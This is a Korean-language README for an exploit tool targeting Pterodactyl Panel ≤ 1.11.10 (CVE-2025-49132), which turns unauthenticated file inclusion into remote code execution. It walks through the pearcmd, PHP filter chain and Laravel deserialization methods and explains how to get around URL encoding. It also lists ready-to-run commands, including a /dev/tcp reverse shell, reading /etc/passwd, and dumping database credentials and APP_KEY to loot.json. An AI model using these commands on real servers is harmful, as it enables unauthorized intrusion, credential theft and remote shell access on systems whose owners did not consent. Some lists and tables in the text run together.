
Pterodactyl Panel ≤ 1.11.10에 대한 익스플로잇 - 인증되지 않은 LFI로부터 RCE
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel ≤ 1.11.10 익스플로잇 - 인증되지 않은 LFI를 통한 RCE
/locales/locale.json 엔드포인트는 locale 및 namespace 매개변수를 받아들이며, 이 매개변수는 검증이나 인증 없이 PHP의 include()에 직접 전달됩니다. 패치되지 않은 버전에서는 남용을 방지하기 위한 hash 매개변수가 적용되지 않습니다.
이를 통해 다음이 가능합니다:
.php 설정 파일(데이터베이스 자격 증명, APP_KEY, 메일, 세션 등) 읽기pearcmd.php 포함(register_argc_argv + config-create 트릭), PHP 필터 체인, 또는 유출된 APP_KEY를 사용한 라라벨 역직렬화영향받는 버전: Pterodactyl Panel ≤ 1.11.10 수정된 버전: 1.11.11
원본 PoC는 Python requests를 사용하여 pearcmd 페이로드를 전송합니다. 문제는 requests가 <, >, {, }와 같은 문자를 자동으로 URL 인코딩하여 URL에 포함된 PHP 태그(<?=system(...)?>)를 깨뜨린다는 점입니다.
이 익스플로잇은 두 가지 주요 변경 사항으로 이를 수정합니다:
curl 사용 - 페이로드 생성 요청은 subprocess를 통해 curl -g(globoff)를 사용하여 Python의 URL 인코딩을 완전히 우회합니다.hex2bin() 사용 - 원시 명령(공백이나 특수 문자에서 깨짐)을 주입하는 대신, 명령을 16진수로 인코딩하고 서버 측에서 system(hex2bin('...'))로 디코딩합니다. 16진수는 0-9a-f만 사용하므로 +, =, &, 공백이 없습니다. 따라서 >& 및 /dev/tcp/를 포함한 역방향 셸을 포함한 모든 명령이 작동합니다./usr/share/php를 하드코딩하는 많은 정적 스크립트와 달리, 이 도구는 --pear-dir 인수를 완전히 지원합니다. 원시 curl 요청에 사용자 정의 경로를 동적으로 주입하여 비표준 구성을 가진 대상의 익스플로잇을 가능하게 합니다.pip install requests
선택 사항 (필터 체인 / 역직렬화 RCE 방법):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# 간단한 명령
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP 필터 체인 (PATH에 php_filter_chain_generator 필요)
python3 exploit.py http://panel.fr --rce-filter "id"
# 미리 생성된 필터 체인
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# 유출된 APP_KEY를 통한 라라벨 역직렬화 (phpggc + pycryptodome 필요)
python3 exploit.py http://panel.fr --rce-d "id"
# 다른 pear 디렉토리로 RCE
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# 역방향 셸
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# 모든 구성 덤프 (DB 자격 증명, APP_KEY, 메일, 세션, CORS 등) + 자동 RCE 시도
python3 exploit.py http://panel.fr
--pear-dir 값| 배포판 | 경로 |
|---|---|
| Debian / Ubuntu |
--rce-cmd / --rce-filter / --rce-d 없이 실행하면 익스플로잇이 전체 구성 추출을 수행합니다:
/etc/passwd, 호스트 이름, 커널 버전 읽기 시도전체 JSON 보고서가 loot.json에 저장됩니다(-o를 통해 사용자 지정 경로 지정 가능).
이 익스플로잇은 GRodolphe/CVE-2025-49132_poc의 PoC를 기반으로 개선된 것이며, 이는 0xtensho/CVE-2025-49132-poc의 원본 PoC에서 영감을 받았습니다.
| 옵션 | 설명 |
|---|
target | 대상 URL (예: http://panel.pterodactyl.fr) |
--rce-cmd CMD | pearcmd를 통해 CMD 실행 (역방향 셸을 포함한 모든 명령 지원) |
--rce-filter CMD | PHP 필터 체인을 통해 CMD 실행 |
--filter-chain CHAIN | 미리 생성된 php://filter 체인 사용 (--rce-filter와 함께) |
--rce-d CMD | 라라벨 역직렬화를 통해 CMD 실행 |
--pear-dir PATH | pearcmd.php 디렉토리 경로 (기본값: /usr/share/php) |
--timeout N | 요청 시간 초과(초) (기본값: 10) |
--verify-ssl | SSL 인증서 확인 활성화 (기본적으로 비활성화) |
-o FILE | 출력 보고서 파일 (기본값: loot.json) |
/usr/share/php (기본값) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 또는 /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |